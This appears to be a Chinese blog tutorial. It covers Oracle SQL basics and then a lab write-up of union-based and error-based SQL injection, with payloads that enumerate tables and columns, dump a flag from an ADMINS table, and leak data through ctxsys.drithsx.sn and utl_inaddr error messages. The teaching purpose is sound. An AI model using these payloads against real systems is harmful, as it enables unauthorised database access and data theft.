1 Oracle数据库介绍
1 Oracle数据库广泛应用于大型企业中,特别是在金融、电信、零售和制造等行业,由于其稳定性、高性能和安全性,成为许多企业的首选数据库管理系统。
2 Oracle数据库的SQL语法规则非常严格。用户在编写查询和操作语句时必须遵循特定的语法和结构,以确保命令能够正确执行。
3 Oracle数据库中有一个特殊的虚拟表称为'DUAL'表。该表用于在没有实际表的情况下进行选择操作,例如从表达式或函数中选择值,以拼凑SQL语法规则。
4 在Oracle数据库中,分页查询通常使用'rownum'伪列来实现。通过内部子查询为每行分配一个'rownum',然后在外部子查询中根据'rownum'进行筛选,以实现分页效果。
2 联合查询解析
2.1 Dual 是一个虚表,没有什么特别的意义,为了符合查询语法而诞生的
select * from dual;
查询结果为X
查询用户名:
Oracle数据库中的每个用户都有一个与之对应的模式,但并不是每个用户都有一个独立的数据库。多个用户共享同一个数据库,每个用户在自己的模式中拥有独立的数据库对象。用户名通常与模式名相同,但这并不等同于数据库名。
select user from dual;
查询出所有的表
select * from all_tables;
查询出当前用户的表
select * from user_all_tables;
查询出所有的字段
select * from all_tab_columns;
查询出当前用户的字段
select * from user_tab_columns;
查版本
Select * from v$version;
2.2 rownum
在Oracle数据库中,rownum是一个伪列,用于按照查询返回的行的顺序进行编号。每次查询都会自动生成rownum,用于标识返回结果集中每一行的顺序。
限制查询返回的总行数:
通过使用rownum,可以限制查询返回的行数。例如,要限制查询只返回一条记录,可以使用rownum=1:
编号顺序:
rownum按 查询结果的顺序从1开始编号,第一行的rownum值为1,第二行为2,依此类推。这种编号顺序在查询结果生成时确定。
限制返回行数:
通过使用rownum<n,可以限制查询返回的前n-1行。例如使用rownum<4 可以要求查询返回前三行数据:
查询表的所有内容
select * from news;
查询news表中的第一行数据。
select * from news where rownum=1;
查询news表中第一行但不包括ID为1的记录,即输出第2行
select * from news where rownum=1 and id<>1;
查询news表中第一行但不包括ID为1和2的记录,即输出第3行
select * from news where rownum=1 and id<>1 and id<>2;
输出两条数据
select * from MO60.news where rownum<3;
select * from news where rownum = 2;不会返回第二行,因为在查询结果生成时,rownum值从1开始逐行递增,只有在第一行分配rownum值后,第二行才能被分配值。因此,查询条件rownum = 2永远不会满足,因为查询永远不会产生一个rownum为2的行。
2.3 那如何做到只要第二条数据
select table_name from user_all_tables;
查询所有表的名称并为其分配行号
select rownum ys,table_name from user_all_tables;
使用子查询
select table_name from(select rownum ys,table_name from user_all_tables) where ys=2;
原理图
3 Oracle显错注入实例
/?id=1
判断有无注入点,注入 id=1'
出现报错,可能存在注入,为进一步验证,注入 id=1 and 1=1
注入 id=1 and 1=2,综上说明存在注入
判断当前页面的字段数,注入 id=1 order by 3 页面显示
注入id=1 order by 4 页面报错
判断当前页面显示位,注入 id=1 union select 1,2,3 from dual
数据类型报错,填入null进行调试,注入 id=1 union select 1,null,null from dual
注入 id=1 union select 1,'a','a' from dual
查表名,得到两张表
id=1 union select 1,table_name,'a' from user_all_tables
输出第一个表名
id=1 union select 1,table_name,'a' from user_all_tables where rownum=1
已知第一个表名,以此输出第二个表名
id=1 union select 1,table_name,'a' from user_all_tables where rownum=1 and table_name<>'News'
屏蔽不需要的内容,查到表名为ADMINS
id=1 and 1=2 union select 1,table_name,'a' from user_all_tables where rownum=1 and table_name<>'News'
查找表名下的字段名
id=1 and 1=2 union select 1,column_name,'c' from user_tab_columns where table_name='ADMINS'
查询字段内容
id=1 and 1=2 union select 1,'c',flag from admins
得到 5LiN6KaB6K6/6Zeu77yad29idXNoaWZsYWcucGhw
base64解密得到路径 wobushiflag.php
4 Oracle报错注入实例
4.1 报错注入函数解析
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
去查询关于主题的关键词,然后因为查询失败(应该是用户没有查询和创建的权限,默认情况没有创建,爆出未查询到的结果从而爆出查询的内容)
utl_inaddr.get_host_name()
utl_inaddr.get_host_address 本意是获取ip 地址,但是如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。
其它函数: https://www.cnblogs.com/-qing-/p/10949562.html
4.2 靶场解析
查询数据库版本
id=1 and 1= ctxsys.drithsx.sn(1,(select banner from v_$version where rownum=1))
id=1 and 1= ctxsys.drithsx.sn(1,(select table_name from user_all_table))
得到表名NEWS
id=1 and 1= ctxsys.drithsx.sn(1,(select table_name from user_all_table where rownum=1))
查出下一个表ADMINS
id=1 and 1= ctxsys.drithsx.sn(1,(select table_name from user_all_table where rownum=1 and table_name<>'NEWS'))
这里换用子查询的方法
id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from(select rownum ys,table_name from user_all_tables) where ys=1))
id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from(select rownum ys,table_name from user_all_tables) where ys=2))
这里也可使用其他报错注入函数,效果相同
id=1 and 1=utl_inaddr.get_host_name((select table_name from(select rownum ys,table_name from user_all_tables) where ys=1))
id=1 and 1=utl_inaddr.get_host_name((select table_name from(select rownum ys,table_name from user_all_tables) where ys=2))
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://huangxin.ltd/oracle%e6%95%b0%e6%8d%ae%e5%ba%93%e6%b3%a8%e5%85%a5/
共有 0 条评论